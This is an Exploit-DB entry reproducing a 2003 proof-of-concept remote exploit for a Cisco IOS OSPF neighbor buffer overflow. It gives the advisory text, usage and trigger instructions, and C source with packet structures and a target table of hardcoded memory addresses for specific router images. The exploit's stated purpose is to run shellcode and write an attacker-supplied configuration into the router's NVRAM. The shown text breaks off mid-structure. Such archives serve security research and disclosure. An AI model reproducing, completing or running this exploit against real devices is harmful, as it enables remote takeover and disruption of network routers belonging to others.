Exploit-DB #22271
Description: Cisco IOS 11/12 - OSPF Neighbor Buffer Overflow
Type: remote
Platform: hardware
Date: 2003-02-20
Author: FX

Exploit:
// source: https://www.securityfocus.com/bid/6895/info

Cisco IOS is prone to a remotely exploitable buffer overflow condition when handling malformed OSPF (Open Shortest Path First) packets. The overflow occurs when more than 255 OSPF neighbors are announced. This may make it possible to execute malicious instructions on a device running a vulnerable version of the software. Denial of service is also possible.

/* Cisco IOS IO memory exploit prove of concept 
 * by FX of Phenoelit <fx@phenoelit.de>
 * http://www.phenoelit.de
 *
 * For: 
 * 	19C3 Chaos Communication Congress 2002 / Berlin
 * 	BlackHat Briefings Seattle 2003
 * 
 * Cisco IOS 11.2.x to 12.0.x OSPF neighbor overflow
 * Cisco Bug CSCdp58462 causes more than 255 OSPF neighbors to overflow a IO memory
 * structure (small buffer header). The attached program is a PoC to exploit 
 * this vulnerability by executing "shell code" on the router and write the 
 * attached configuration into NVRAM to basicaly own the router. 
 *
 * Example:
 * linux# gcc -o OoopSPF OoopSPF.c 
 * linux# ./OoopSPF -s 172.16.0.0 -n 255.255.0.0 -d 172.16.1.4 \
 * 	-f ./small.config -t 0 -a 1.2.3.4 -vv
 *
 * You can see if it worked if a) the router does not crash and b) the output of 
 * "show mem io" looks like this:
 * E40E38      264 E40D04   E40F6C     1                  31632D8   *Packet Data*
 * E40F6C      264 E40E38   E410A0     1                  31632D8   *Packet Data*
 * E410A0      264 E40F6C   E411D4     1                  31632D8   *Packet Data*
 * E411D4  1830400 E410A0   0          0  0       E411F8  808A8B8C  [PHENOELIT]
 *
 * Exploit has to be "triggered". In LAB environment, go to the router and say
 * box# conf t
 * box(config)# buffers small perm 0
 *
 * Greets go to the Phenoelit members, the usual suspects Halvar, Johnny Cyberpunk,
 *   Svoern, Scusi, Pandzilla, and Dizzy, to the #phenoelit people,
 *   Gaus of PSIRT, Nico of Securite.org and Dan Kaminsky.
 *
 * $Id: OoopSPF.c,v 1.4 2003/02/20 16:38:30 root Exp root $
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <time.h>

#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>

#define IPTTL			0x80
#define BLABLA			"Phenoelit OoopSPF\n" \
				" Cisco IOS OSPF remote exploit (11.2.-12.0)\n" \
				" (C) 2002/2003 - FX of Phenoelit <fx@phenoelit.de>\n" 
#define IPPROTO_OSPF    0x59
#define IP_ADDR_LEN     4
typedef struct {
        u_int8_t        ihl:4,          /* header length */
                        version:4;      /* version */
        u_int8_t        tos;            /* type of service */
        u_int16_t       tot_len;        /* total length */
        u_int16_t       id;             /* identification */
        u_int16_t       off;            /* fragment offset field */
        u_int8_t        ttl;            /* time to live */
        u_int8_t        protocol;       /* protocol */
        u_int16_t       check;          /* checksum */
        struct in_addr  saddr;
        struct in_addr  daddr;          /* source and dest address */
} iphdr_t;

typedef struct {
    u_int8_t    version                 __attribute__ ((packed));
    u_int8_t    type                    __attribute__ ((packed));
    u_int16_t   length                  __attribute__ ((packed));
    u_int8_t    source[4]               __attribute__ ((packed));
    u_int8_t    area[4]                 __attribute__ ((packed));
    u_int16_t   checksum                __attribute__ ((packed));
    u_int16_t   authtype                __attribute__ ((packed));
    u_int8_t    authdata[8]             __attribute__ ((packed));
} ospf_header_t;

typedef struct {
    u_int8_t    netmask[4]              __attribute__ ((packed));
    u_int16_t   hello_interval          __attribute__ ((packed));
    u_int8_t    options                 __attribute__ ((packed));
    u_int8_t    priority                __attribute__ ((packed));
    u_int8_t    dead_interval[4]        __attribute__ ((packed));
    u_int8_t    designated[4]           __attribute__ ((packed));
    u_int8_t    backup[4]               __attribute__ ((packed));
} ospf_hello_t;


//
// Target definitions 
//

typedef struct {
    char	*description;
    int		n_neig;
    int		data_start;
    u_int32_t	blockbegin;
    u_int32_t	prev;
    u_int32_t	nop_sleet;
    u_int32_t	stack_address;
    u_int32_t	iomem_end;
} targets_t;

targets_t	targets[] = {
    { // #0 Phenoelit labs 2503 
	"2503, 11.3(11b) IP only [c2500-i-l.113-11b.bin], 14336K/2048K (working)",
	256,		// # of neighbor announcements 
	0xe5, 		// data start
	0xE411D4,	// block begin
	0xE410B4,	// PREV
	6,		// nop_sleet after FAKE BLOCK
	0x079B48,	// Check heaps stack PC
	0x00FFFFFF	// IO mem end
    },
    { // #1 Phenoelit labs 2501 
	"2501, 11.3(11a) IP only [c2500-i-l.113-11a.bin], 14336K/2048K (working)",
	256,		// # of neighbor announcements 
	0xe5, 		// data start
	0x00E31EA4,	// block begin
	0x00E31D84,	// PREV
	6,		// nop_sleet after FAKE BLOCK
	0x00079918,	// Check heaps stack PC (using IOStack.pl)
	0x00FFFFFF	// IO mem end
    }
};

#define TARGETS (sizeof(targets)/sizeof(targets_t)-1)

//
// NVRAM header structure
//

typedef struct {
    u_int16_t   magic                   __attribute__((packed));
    u_int16_t   one                     __attribute__((packed));
    u_int16_t   checksum                __attribute__((packed));
    u_int16_t   IOSver                  __attribute__((packed));
    u_int32_t   unknown                 __attribute__((packed));
    u_int32_t   ptr                     __attribute__((packed));
    u_int32_t   size                    __attribute__((packed));
} nvheader_t;

//
// FAKE BLOCK definitions
//

typedef struct {
    u_int32_t	redz